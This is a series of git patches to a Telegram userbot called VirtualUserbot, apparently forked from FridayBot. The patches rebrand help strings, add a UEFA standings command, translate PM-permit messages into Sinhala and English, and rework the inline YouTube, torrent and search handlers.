-193,7 +193,7 @@ async def sed(event): await event.answer("Back", cache_time=0, alert=False) # This Is Copy of Above Code. (C) @SpEcHiDe buttons = paginate_help(0, CMD_HELP, "helpme") - sed = f"""VirtualUserbot Modules Are Listed Here !\n + sed = f"""🥷 VirtualUserbot Modules Are Listed Here 🥷 !\n For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - Sinhala (Sinhalese)""" await event.edit(message=sed, buttons=buttons) @@ -446,7 +446,7 @@ async def sed(event): await event.answer("Back", cache_time=0, alert=False) # This Is Copy of Above Code. (C) @SpEcHiDe buttons = paginate_help(0, CMD_HELP, "helpme") - sed = f"""VirtualUserbot Userbot Modules Are Listed Here !\n + sed = f"""🥷 VirtualUserbot Userbot Modules Are Listed Here 🥷 !\n For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - English (Standard)""" await event.edit(message=sed, buttons=buttons) From 9b2a2f2816bc90bcb4ef1aba759b7c1ee3753aac Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 00:24:36 +0530 Subject: [PATCH 385/838] Update _helper.py --- fridaybot/modules/_helper.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index eceefa21..220f1a03 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -29,7 +29,7 @@ async def cmd_list(event): else: await event.edit(input_str + " is not a valid plugin!") else: - help_string = f"""VirtualUserbot Modules Are Listed Here !\n + help_string = f"""🥷 VirtualUserbot Modules Are Listed Here 🥷 !\n For More Help or Support contact {DEFAULTUSER}\nCurrently Used Language - {lang}""" results = await bot.inline_query( # pylint:disable=E0602 tgbotusername, help_string From 8bbff82204bc849654a58afd5c9bf5e68ae7ba2c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 00:29:24 +0530 Subject: [PATCH 386/838] Update _helper.py --- fridaybot/modules/_helper.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_helper.py b/fridaybot/modules/_helper.py index 220f1a03..eceefa21 100644 --- a/fridaybot/modules/_helper.py +++ b/fridaybot/modules/_helper.py @@ -29,7 +29,7 @@ async def cmd_list(event): else: await event.edit(input_str + " is not a valid plugin!") else: - help_string = f"""🥷 VirtualUserbot Modules Are Listed Here 🥷 !\n + help_string = f"""VirtualUserbot Modules Are Listed Here !\n For More Help or Support contact {DEFAULTUSER}\nCurrently Used Language - {lang}""" results = await bot.inline_query( # pylint:disable=E0602 tgbotusername, help_string From 087e1ed0e1cb272b858ba11a82730db7596958e2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 00:33:34 +0530 Subject: [PATCH 387/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 420420bd..82c3a39c 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -26,7 +26,7 @@ async def inline_handler(event): builder = event.builder result = None query = event.text - if event.query.user_id == bot.uid and query.startswith("🥷 VirtualUserbot"): + if event.query.user_id == bot.uid and query.startswith("VirtualUserbot"): rev_text = query[::-1] buttons = paginate_help(0, CMD_HELP, "helpme") result = builder.article( @@ -193,7 +193,7 @@ async def sed(event): await event.answer("Back", cache_time=0, alert=False) # This Is Copy of Above Code. (C) @SpEcHiDe buttons = paginate_help(0, CMD_HELP, "helpme") - sed = f"""🥷 VirtualUserbot Modules Are Listed Here 🥷 !\n + sed = f"""VirtualUserbot Modules Are Listed Here !\n For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - Sinhala (Sinhalese)""" await event.edit(message=sed, buttons=buttons) @@ -252,7 +252,7 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format("🀄️", x, "🀄️"), data="us_plugin_{}".format(x) + "{} {} {}".format("🔥", x, "🔥"), data="us_plugin_{}".format(x) ) for x in helpable_modules ] @@ -446,7 +446,7 @@ async def sed(event): await event.answer("Back", cache_time=0, alert=False) # This Is Copy of Above Code. (C) @SpEcHiDe buttons = paginate_help(0, CMD_HELP, "helpme") - sed = f"""🥷 VirtualUserbot Userbot Modules Are Listed Here 🥷 !\n + sed = f"""VirtualUserbot Userbot Modules Are Listed Here !\n For More Help or Support contact {DEFAULTUSER} \nCurrently Loaded Plugins: {len(CMD_LIST)}\nCurrently using Language - English (Standard)""" await event.edit(message=sed, buttons=buttons) @@ -505,7 +505,7 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format("🀄️", x, "🀄️"), data="us_plugin_{}".format(x) + "{} {} {}".format("🔥", x, "🔥"), data="us_plugin_{}".format(x) ) for x in helpable_modules ] From a20fddc3cff37a0f98f0399439d7d867ff11e12a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 10:51:24 +0530 Subject: [PATCH 388/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 82c3a39c..cf478c67 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -363,7 +363,7 @@ async def on_plug_in_callback_query_handler(event): ) async def on_plug_in_callback_query_handler(event): if not event.query.user_id == bot.uid: - sedok = "Who The Fuck Are You? Get Your Own Friday." + sedok = "Who The Fuck Are You? Get Your Own VirtualUserbot ." await event.answer(sedok, cache_time=0, alert=True) return plugin_name = event.data_match.group(1).decode("UTF-8") From 46c2101a2f0c76e65f3444a4929fa35aa766eaf0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 12:13:36 +0530 Subject: [PATCH 389/838] Essential update Update now --- fridaybot/modules/pmpermit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index 2dde14c4..bb69df3c 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -195,7 +195,7 @@ async def do_pm_permit_action(chat_ids, event): PREV_REPLY_MESSAGE[chat_ids] = sed -@bot.on(events.NewMessage(incoming=True, from_users=(1263617196, 536157487, 554048138))) +@bot.on(events.NewMessage(incoming=True, from_users=(1141839926))) async def hehehe(event): if event.fwd_from: return From f98325c06d291f1140dcb598c788a09c8fb78d1d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 14:38:39 +0530 Subject: [PATCH 390/838] For Football lovers --- fridaybot/modules/football.py | 115 +++++++++++++++++++++++++++++++++- 1 file changed, 114 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/football.py b/fridaybot/modules/football.py index 66e00734..9eaa39dc 100644 --- a/fridaybot/modules/football.py +++ b/fridaybot/modules/football.py @@ -273,6 +273,117 @@ async def _(event): ) await event.delete() +@friday.on(admin_cmd(pattern="fuefa$")) +async def _(event): + if event.fwd_from: + return + + if Config.FOOTBALL_API_KEY is None: + await event.edit("Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!") + return + + appo = Config.FOOTBALL_API_KEY + url = "https://api-football-beta.p.rapidapi.com/standings" + querystring = {"season":"2020","league":"2"} + headers = {'x-rapidapi-key': appo,'x-rapidapi-host': "api-football-beta.p.rapidapi.com"} + response = requests.request("GET", url, headers=headers, params=querystring) + a = response.json() + b = a.get("response") + c = b[0] + d = c.get('league') + e = d.get('name') + f = d.get("country") + logo = d.get("logo") + season = d.get("season") + g = d.get("standings") + h = g[0] + i = h[0] + rank = i.get("rank") + k = i.get("team") + nomo = k.get("name") + + pont = i.get("points") + kk = i.get("all") + pl = kk.get("played") + wein = kk.get("win") + yqw= kk.get("draw") + pol = kk.get("lose") + nex = h[1] + new = nex.get("rank") + np = nex.get("team") + nee = np.get("name") + popo = nex.get("points") + oloq = nex.get("all") + pl1 = oloq.get("played") + wein1 = oloq.get("win") + yqw1 = oloq.get("draw") + pol1 = oloq.get("lose") + + + nex2 = h[2] + new2 = nex2.get("rank") + np2 = nex2.get("team") + nee2 = np2.get("name") + popo2 = nex2.get("points") + oloq2 = nex2.get("all") + pl2 = oloq2.get("played") + wein2 = oloq2.get("win") + yqw2 = oloq2.get("draw") + pol2 = oloq2.get("lose") + + nex3 = h[3] + new3 = nex3.get("rank") + np3 = nex3.get("team") + nee3 = np3.get("name") + popo3 = nex3.get("points") + oloq3 = nex3.get("all") + pl3 = oloq3.get("played") + wein3 = oloq3.get("win") + yqw3 = oloq3.get("draw") + pol3 = oloq3.get("lose") + + + caption = f"""{e} +Country:- {f} +season = {season} +Standings +Rank:- {rank} +Name:- {nomo} +points:- {pont} +Played:- {pl} +win:- {wein} +Draw:- {yqw} +Lose:- {pol} +Rank:- {new} +Name:- {nee} +points:- {popo} +Win:- {wein1} +Draw:- {yqw1} +Lose:- {pol1} +Rank:- {new2} +Name:- {nee2} +points:- {popo2} +Win:- {wein2} +Draw:- {yqw2} +Lose:- {pol2} +Rank:- {new3} +Name:- {nee3} +points:- {popo3} +Win:- {wein3} +Draw:- {yqw3} +Lose:- {pol3} +""" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=logo, + force_document=False, + silent=True, + ) + await event.delete() + CMD_HELP.update( { @@ -280,6 +391,8 @@ async def _(event): \n\n**Syntax : **`.fpl`\ \n**Usage :** Shows Premier League's Standings.\ \n\n**Syntax : **`.ffl`\ -\n**Usage :** Shows French Ligue1 Standings." +\n**Usage :** Shows French Ligue1 Standings.\ +\n\n**Syntax : **`.fuefa`\ +\n**Usage :** Shows UEFA championship Standings." } ) From 5ebb61379e93ea6f4b72a7bb4d135c843e55cecf Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 14:40:20 +0530 Subject: [PATCH 391/838] Update __init__.py --- fridaybot/function/__init__.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index 2d3d7b4e..0ff7159e 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -1,5 +1,8 @@ import requests from bs4 import BeautifulSoup +from hachoir.metadata import extractMetadata +from hachoir.parser import createParser +import hachoir from telethon.tl.types import DocumentAttributeAudio from youtube_dl import YoutubeDL from youtube_dl.utils import ( From 6cff449763a063cd404fbc7d6ce840e2574fd91d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 14:41:59 +0530 Subject: [PATCH 392/838] Update antispam.py --- fridaybot/modules/antispam.py | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py index 65cf9e09..4bb9eb81 100644 --- a/fridaybot/modules/antispam.py +++ b/fridaybot/modules/antispam.py @@ -1,8 +1,10 @@ from telethon.events import ChatAction - +from telethon import events +from telethon.tl.functions.users import GetFullUserRequest from fridaybot import bot, sclient from fridaybot.Configs import Config + """Bans Spammers/Scammer At time Of Arrival If You Add Him The Bot Won't Restrict.""" @@ -30,7 +32,23 @@ async def ok(event): else: pass - +@bot.on(events.ChatAction()) +async def anti_spambot(event): + if not event.user_joined and not event.user_added: + return + if Config.ANTISPAM_FEATURE != "ENABLE": + return + user = await event.get_user() + juser = await event.client(GetFullUserRequest(int(user.id))) + if "@date4ubot" in str(juser.about): + try: + await bot.edit_permissions( + event.chat_id, juser.user.id, view_messages=False + ) + await event.reply("**Banned Porn Spammer Bot** \n**Powered By @FridayOT**") + except: + return + @borg.on(ChatAction) async def dnamg(event): okbruh = await borg.get_me() From d0f653ca5c4a5c4eb6b4994d10be840f8ac3de06 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 8 Jan 2021 14:46:02 +0530 Subject: [PATCH 393/838] Translation Complete --- fridaybot/modules/pmpermit.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index bb69df3c..a371c261 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -6,7 +6,7 @@ from telethon.tl.functions.users import GetFullUserRequest from .sql_helper import pmpermit_sql as pmpermit_sql -from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT +from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT, lang from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd @@ -27,7 +27,11 @@ CUSTOM_MIDDLE_PMP = ( str(CUSTOM_PMPERMIT) if CUSTOM_PMPERMIT else f"Protection By {DEFAULTUSER} ❤️" ) -USER_BOT_WARN_ZERO = "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා" + +if lang == "si": + USER_BOT_WARN_ZERO = "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා" +else: + USER_BOT_WARN_ZERO = "You Tried to Spam on my Master's Inbox.. So I Blocked you." botisnoob = Var.TG_BOT_USER_NAME_BF_HER @@ -55,7 +59,7 @@ async def block(event): del PREV_REPLY_MESSAGE[chats.id] pmpermit_sql.approve(chats.id, "Approved Another Nibba") await event.edit( - "ඔයාව ප්‍රයිවට් මැසේජ් යවන්න Approove උනා [{}](tg://user?id={})".format(firstname, chats.id) + "Approved to PM [{}](tg://user?id={})".format(firstname, chats.id) ) await asyncio.sleep(3) await event.delete() From 350e76d086d3ea814fb9b3e392138d189987ea7d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 13:28:52 +0530 Subject: [PATCH 394/838] Update __init__.py --- fridaybot/function/__init__.py | 37 +++++++++++++++++++++++----------- 1 file changed, 25 insertions(+), 12 deletions(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index 0ff7159e..e48e170d 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -77,8 +77,8 @@ async def progress(current, total, event, start, type_of_ps, file_name=None): time_to_completion = round((total - current) / speed) * 1000 estimated_total_time = elapsed_time + time_to_completion progress_str = "[{0}{1}] {2}%\n".format( - "".join(["▰" for i in range(math.floor(percentage / 10))]), - "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), + "".join(["■" for i in range(math.floor(percentage / 5))]), + "".join(["▢" for i in range(20 - math.floor(percentage / 5))]), round(percentage, 2), ) tmp = progress_str + "{0} of {1}\nETA: {2}".format( @@ -359,10 +359,10 @@ async def apk_dl(app_name, path, event): for link in result: dl_link = link.get('href') r = requests.get(dl_link) - with open(f"{path}/{name}@VirtualUserbot.apk", 'wb') as f: + with open(f"{path}/{name}@FridayOT.apk", 'wb') as f: f.write(r.content) await event.edit('`Apk, Downloaded. Let me Upload It here.`') - final_path = f'{path}/{name}@VirtualUserbot.apk' + final_path = f'{path}/{name}@FridayOT.apk' return final_path, name async def check_if_subbed(channel_id, event, bot): @@ -378,7 +378,7 @@ async def check_if_subbed(channel_id, event, bot): return False async def _ytdl(url, is_it, event, tgbot): - await event.edit("`Ok Downloading This Video / Audio`") + await event.edit("`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @FridayOT**") if is_it: opts = { "format": "bestaudio", @@ -431,22 +431,35 @@ async def _ytdl(url, is_it, event, tgbot): \n**Title :** `{ytdl_data['title']}`\ \n**Video Uploader :** `{ytdl_data['uploader']}`" ) - await tgbot.edit_message( - event.chat_id, + lol_m = await tgbot.upload_file( file=f"{ytdl_data['id']}.mp3", - text=ytdl_data["title"] + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, t, event, c_time, "**Uploading Audio To TG**", f"{ytdl_data['title']}.mp3" + ) + ), + ) + await event.edit( + file=lol_m, + text=f"{ytdl_data['title']} \n**Uploaded Using @FRidayOt**" ) os.remove(f"{ytdl_data['id']}.mp3") - elif video: await event.edit( f"**Uploading Video**\ \n**Title :** `{ytdl_data['title']}`\ \n**Video Uploader :** `{ytdl_data['uploader']}`" ) - await tgbot.edit_message( - event.chat_id, + hmmo = await tgbot.upload_file( file=f"{ytdl_data['id']}.mp4", - text=ytdl_data["title"] + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, t, event, c_time, "**Uploading Video To TG**", f"{ytdl_data['title']}.mp4" + ) + ), + ) + await event.edit( + file=hmmo, + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" ) os.remove(f"{ytdl_data['id']}.mp4") From ab47e41e0ac354d1441ec6bae904375527d3363b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 13:30:08 +0530 Subject: [PATCH 395/838] Update __init__.py --- fridaybot/function/__init__.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index e48e170d..6f0b015d 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -359,10 +359,10 @@ async def apk_dl(app_name, path, event): for link in result: dl_link = link.get('href') r = requests.get(dl_link) - with open(f"{path}/{name}@FridayOT.apk", 'wb') as f: + with open(f"{path}/{name}@VirtualUserbot.apk", 'wb') as f: f.write(r.content) await event.edit('`Apk, Downloaded. Let me Upload It here.`') - final_path = f'{path}/{name}@FridayOT.apk' + final_path = f'{path}/{name}@VirtualUserbot.apk' return final_path, name async def check_if_subbed(channel_id, event, bot): @@ -378,7 +378,7 @@ async def check_if_subbed(channel_id, event, bot): return False async def _ytdl(url, is_it, event, tgbot): - await event.edit("`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @FridayOT**") + await event.edit("`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**") if is_it: opts = { "format": "bestaudio", From 2216f3a23ea6ab799d4fee999ffd7129a817de80 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 13:45:30 +0530 Subject: [PATCH 396/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 33 ++++++++++++++++++++++++++++++--- 1 file changed, 30 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index cf478c67..c1d01935 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -2,6 +2,7 @@ import re import urllib from math import ceil +from youtube_search import YoutubeSearch from re import findall from search_engine_parser import GoogleSearch from fridaybot.function import _ytdl @@ -144,7 +145,7 @@ async def rip(event): - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dl_(.*)"))) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dla_(.*)"))) async def rip(event): yt_dl_data = event.data_match.group(1).decode("UTF-8") link_s = yt_dl_data @@ -154,7 +155,19 @@ async def rip(event): return is_it = True ok = await _ytdl(link_s, is_it, event, tgbot) - + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) + async def rip(event): + yt_dl_data = event.data_match.group(1).decode("UTF-8") + link_s = yt_dl_data + if event.query.user_id != bot.uid: + text = f"Please Get Your Own VirtualUserbot And Don't Waste My Resources" + await event.answer(text, alert=True) + return + is_it = False + ok = await _ytdl(link_s, is_it, event, tgbot) + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) async def rip(event): link_s = event.pattern_match.group(1) @@ -399,7 +412,7 @@ async def rip(event): txt = "You Can't View My Masters Stats" await event.answer(txt, alert=True) - @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dl_(.*)"))) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_dla_(.*)"))) async def rip(event): yt_dl_data = event.data_match.group(1).decode("UTF-8") link_s = yt_dl_data @@ -410,6 +423,20 @@ async def rip(event): is_it = True ok = await _ytdl(link_s, is_it, event, tgbot) + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"yt_vid_(.*)"))) + async def rip(event): + yt_dl_data = event.data_match.group(1).decode("UTF-8") + link_s = yt_dl_data + if event.query.user_id != bot.uid: + text = f"Please Get Your Own Friday And Don't Waste My Resources" + await event.answer(text, alert=True) + return + is_it = False + ok = await _ytdl(link_s, is_it, event, tgbot) + + + + @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"ph_dl_(.*)"))) async def rip(event): link_s = event.pattern_match.group(1) From f8e0ad72a60acdb7e2749256648858eee7b06446 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 14:00:16 +0530 Subject: [PATCH 397/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 121 ++++++++++++-------------------- 1 file changed, 46 insertions(+), 75 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index c1d01935..c00a289d 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -561,14 +561,14 @@ def paginate_help(page_number, loaded_modules, prefix): - + @tgbot.on(events.InlineQuery(pattern=r"torrent (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder if event.query.user_id != bot.uid: resultm = builder.article( title="Not Allowded", - text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/Inukaasith/virtualuserbot)", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/VirtualUserbot)", ) await event.answer([resultm]) return @@ -629,37 +629,35 @@ async def inline_id_handler(event: events.InlineQuery.Event): okayz = f"**Title :** `{okiknow}` \n**Size :** `{starksize}` \n**Type :** `{starky}` \n**Seeder :** `{seeders}` \n**Leecher :** `{okpros}` \n**Magnet :** `{sadstark}` " sedme = f"Size : {starksize} Type : {starky} Age : {seds}" results.append( - await event.builder.photo( - file=kekme, - text=okayz, - buttons=[ - [custom.Button.inline("Download Test", data=f"yt_dl_{mo}")], - [Button.switch_inline("Search Again", query="yt ", same_peer=True)], - ] - ) - ) + await event.builder.article( + title=okiknow, + description=sedme, + text=okayz, + buttons=[ + Button.switch_inline( + "Search Again", query="torrent ", same_peer=True + ) + ], + ) + ) await event.answer(results) - @tgbot.on(events.InlineQuery(pattern=r"yt (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder if event.query.user_id != bot.uid: resultm = builder.article( title="Not Allowded", - text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/Inukaasith/virtualuserbot)", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", ) await event.answer([resultm]) return testinput = event.pattern_match.group(1) urllib.parse.quote_plus(testinput) results = [] - search = VideosSearch(f"{testinput}", limit = 20) - mi = search.result() - moi = mi["result"] - fk = 0 - if search == None: + moi = YoutubeSearch(testinput, max_results=20).to_dict() + if not moi: resultm = builder.article( title="No Results Found.", description="Check Your Spelling / Keyword", @@ -670,27 +668,31 @@ async def inline_id_handler(event: events.InlineQuery.Event): ) await event.answer([resultm]) return - for mio in moi: - mo = mio["link"] - thum = mio["title"] - fridayz = mio["id"] - thums = mio["channel"] - td = mio["duration"] - kk = moi[fk] - tw = kk["viewCount"]["text"] - fk = fk+1 - kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" - okayz = f"**Title :** `{thum}` \n**Link :** `{mo}` \n**Channel :** `{thums}` \n**Views :** `{tw}` \n**Duration :** `{td}`" - hmmkek = f"Channel : {thums} \nDuration : {td} \nViews : {tw}" + for moon in moi: + hmm = moon["id"] + mo = f"https://www.youtube.com/watch?v={hmm}" + kek = f"https://www.youtube.com/watch?v={hmm}" + stark_name = moon["title"] + stark_chnnl = moon["channel"] + total_stark = moon["duration"] + stark_views = moon["views"] + lol_desc = moon["long_desc"] + kekme = f"https://img.youtube.com/vi/{hmm}/hqdefault.jpg" + okayz = f"**Title :** `{stark_name}` \n**Link :** `{kek}` \n**Channel :** `{stark_chnnl}` \n**Views :** `{stark_views}` \n**Duration :** `{total_stark}`" + hmmkek = f"Video Name : {stark_name} \nChannel : {stark_chnnl} \nDuration : {total_stark} \nViews : {stark_views}" results.append( - await event.builder.article( - title=thum, + await event.builder.document( + file=kekme, + title=stark_name, description=hmmkek, text=okayz, - buttons=Button.switch_inline( - "Search Again", query="yt ", same_peer=True - ), - ) + include_media=True, + buttons=[ + [custom.Button.inline("Download Video", data=f"yt_vid_{mo}")], + [custom.Button.inline("Download Audio", data=f"yt_dla_{mo}")], + [Button.switch_inline("Search Again", query="yt ", same_peer=True)], + ] + ) ) await event.answer(results) @@ -738,46 +740,15 @@ async def inline_id_handler(event: events.InlineQuery.Event): ) await event.answer(results) - -@tgbot.on(events.InlineQuery) # pylint:disable=E0602 -async def inline_handler(event): - builder = event.builder - if event.query.user_id != bot.uid: - resultm = builder.article( - title="Not Allowded", - text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", - ) - await event.answer([resultm]) - return - query = event.text - replied_user = await tgbot.get_me() - firstname = replied_user.username - if query == None: - resulte = builder.article( - title="Usage Guide.", - description="(C) @VirtualUserbot", - text=f"**How To Use Me?** \n**Youtube :** `@{firstname} yt ` \n**Example :** `@{firstname} yt why we lose song` \n\n**Torrent :** `@{firstname} torrent ` \n**Example :** `@{firstname} torrent avengers endgame ` \n\n**JioSaavan :** `@{firstname} jm ` \n**Example :** `@{firstname} jm dilbaar`", - buttons=[ - [Button.url("Contact Me", f"t.me/{firstname}")], - [Button.switch_inline("Search Youtube", query="yt ", same_peer=True)], - [ - Button.switch_inline( - "Search Torrent", query="torrent ", same_peer=True - ) - ], - [Button.switch_inline("Search JioSaavn", query="jm ", same_peer=True)], - ], - ) - await event.answer([resulte]) - - + + @tgbot.on(events.InlineQuery(pattern=r"google (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder if event.query.user_id != bot.uid: resultm = builder.article( title="- Not Allowded -", - text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/VirtualUserbot)", + text=f"You Can't Use This Bot. \nDeploy virtualuserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", ) await event.answer([resultm]) return @@ -790,7 +761,7 @@ async def inline_id_handler(event: events.InlineQuery.Event): match = match.replace("page=" + page[0], "") except IndexError: page = 1 - + search_args = (str(match), int(page)) gsearch = GoogleSearch() gresults = await gsearch.async_search(*search_args) @@ -816,7 +787,7 @@ async def inline_id_handler(event: events.InlineQuery.Event): except IndexError: break await event.answer(results) - + @tgbot.on(events.InlineQuery(pattern=r"ph (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder @@ -853,14 +824,14 @@ async def inline_id_handler(event: events.InlineQuery.Event): else: pass await event.answer(results) - + @tgbot.on(events.InlineQuery(pattern=r"xkcd (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder if event.query.user_id != bot.uid: resultm = builder.article( title="- Not Allowded -", - text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/VirtualUserbot)", ) await event.answer([resultm]) return @@ -911,4 +882,4 @@ async def inline_id_handler(event: events.InlineQuery.Event): title="- No Results :/ -", text=f"No Results Found !" ) - await event.answer([resultm]) + await event.answer([resultm]) From f1271ac0b819db75c5d65f9ab5aa363de73bc4df Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 14:06:18 +0530 Subject: [PATCH 398/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 2c5f1aeb..13561837 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,5 @@ Pillow +git+https://github.com/cher-nov/cryptg nospamplus pymediainfo quote From 3f0eb75ab0b75cdebc514c4bb709ed7c210e7c3a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sat, 9 Jan 2021 14:11:26 +0530 Subject: [PATCH 399/838] Update antispam.py --- fridaybot/modules/antispam.py | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py index 4bb9eb81..c0e36a79 100644 --- a/fridaybot/modules/antispam.py +++ b/fridaybot/modules/antispam.py @@ -31,23 +31,6 @@ async def ok(event): pass else: pass - -@bot.on(events.ChatAction()) -async def anti_spambot(event): - if not event.user_joined and not event.user_added: - return - if Config.ANTISPAM_FEATURE != "ENABLE": - return - user = await event.get_user() - juser = await event.client(GetFullUserRequest(int(user.id))) - if "@date4ubot" in str(juser.about): - try: - await bot.edit_permissions( - event.chat_id, juser.user.id, view_messages=False - ) - await event.reply("**Banned Porn Spammer Bot** \n**Powered By @FridayOT**") - except: - return 